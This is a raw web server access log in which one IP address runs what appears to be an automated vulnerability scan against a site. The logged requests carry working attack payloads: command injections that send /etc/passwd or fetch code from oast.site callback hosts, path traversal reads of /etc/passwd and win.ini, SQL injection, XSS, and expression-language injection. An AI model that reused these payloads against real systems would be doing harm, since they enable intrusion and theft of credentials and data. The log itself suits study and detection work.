[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ads/www/delivery/lg.php?dest=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/requestreset HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20d5g6sfahausljekepl20idon9f7ikh6ru.oast.site) HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cf_scripts/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /AdminService/urest/v1/LogonResource HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../etc/passwd&type=uploadfile&path=anything HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-mail-smtp-pro/ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bcurl,http://d5g6sfahausljekepl20osanaa5jf8mg6.oast.site+-H+%27User-Agent:+MuPdam%27%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BF%08%B7%06%08;%7Bcurl,http://d5g6sfahausljekepl208yzouggazszyk.oast.site+-H+%27User-Agent:+MuPdam%27%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /graphql HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1 HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /casa/nodes/thumbprints HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Schemas/$%7B%27%27.class.forName%28%27javax.script.ScriptEngineManager%27%29.newInstance%28%29.getEngineByName%28%27js%27%29.eval%28%27java.lang.Runtime.getRuntime%28%29.exec%28%22id%22%29%27%29%7D HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /opensis/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/web.xml.jsf?con=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}} HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q=aHR0cDovL2xpa2VidG4uY29tLm9hc3QubWU=\" HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/daggerhart-openid-connect-generic/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /magmi/web/magmi_run.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/380CxyLPUtCZdb0ChHN6Q0V0V9o/)%3B%2F%2F HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/ping.php?hostname=|dir HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/jh-404-logger/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?v=d&p=%22;alert(document.domain);%22 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2finfo.html HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /version.web HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/weblogin.cgi?username=admin';cat+/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cache/backup/ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /getcfg.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2finfo.html HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1 HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/css/380CxnQGACMp9kOxJiSd4cpCnkq.css HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /storfs-asup HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=ultimate-maps-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mgmt/shared/authn/login HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/ssh_form.php?hostname=%3C/title%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Ctitle%3E HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/method.callAnon/getPasswordPolicy HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_phpmyadmin/index.php?pma_servername=d5g6sfahausljekepl20qe4mgy6tr8qpc.oast.site&pma_username=380CyIL8a34ZFflWCpxgP8yHYLB&pma_password=380CyIL8a34ZFflWCpxgP8yHYLB&server=1 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/phastpress/phast.php?service=scripts&src=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-comments-post.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=acymailing_front&ctrl=frontusers&ctrl=frontusers&noheader=1&user[email]=example@mail.com&task=subscribe&option=acymailing&redirect=https://interact.sh&ajax=0&acy_source=widget%202&hiddenlists=1&acyformname=formAcym93841&acysubmode=widget_acym HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1\"%20onmouseover=alert(document.domain)// HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/giveasap/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /omni_success?cmdb_edit_path=\");alert('document.domain');// HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /analytics/telemetry/ph/api/hyper/send?_c&_i=test HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?post_type=post&s=%22%3E%3Cscript%3Ealert(/380CyCWdCVTYqHYbB1fxGnnB8tQ/)%3C/script%3E+ HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/admin/imgProcess.cfm?file=/../../../context/380CxpCYLA9H0Bn6GIkKvEkt1aq.cfm HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/jnews/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cnswebserver?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22certutil%20-urlcache%20-split%20-f%20http://d5g6sfahausljekepl209su83d8x3g15r.oast.site%22%29%7D__::.x/ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?ct_mobile_keyword&ct_keyword&ct_city&ct_zipcode&search-listings=true&ct_price_from&ct_price_to&ct_beds_plus&ct_baths_plus&ct_sqft_from&ct_sqft_to&ct_lotsize_from&ct_lotsize_to&ct_year_from&ct_year_to&ct_community=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&ct_mls&ct_brokerage=0&lat&lng HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927381645 HTTP/1.1" -
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /community/?foro=signin&redirect_to=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cf-scripts/scripts/ajax/package/cfajax.js HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage-entervariables.action?SpaceKey=x HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/DownloadFileServlet?show_file_name=../../../../../../windows/win.ini&type=uploadfile&path=anything HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hue/assets/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/kaswara/fonts_icon/doiyfi/cb.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bcurl,http://d5g6sfahausljekepl20i6nuxrk13ewq4.oast.site+-H+%27User-Agent:+MuPdam%27%7D;%04%D7%7F%BF%18%D8%7F%BF%18%D8%7F%BFd%B8%06%08;%7Bcurl,http://d5g6sfahausljekepl20cirugwnfnwqe1.oast.site+-H+%27User-Agent:+MuPdam%27%7D;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1" 199
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/SOAPService HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=pollinsertvalues HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380CxuKo5JynLW5bsTwSM3zeIOl/_/;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp1/home-18/?qtproxycall=https://oast.me HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27380CxzYe36f9raU6eibVgE4BbnI%27)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/posts HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/anycomment/v1/auth/wordpress?redirect=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /magmi/web/info.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /AurallRECMonitor/services/svc-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/380CxpCYLA9H0Bn6GIkKvEkt1aq.cfm HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/pie/v1/login HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=rtec_send_unregister_link HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/bello/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /adminer.php HTTP/1.1" 196
[09/Jan/2026:10:51:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/imagements/images/380cy8swmftov08a0ivpkf2wylm.php HTTP/1.1" 196
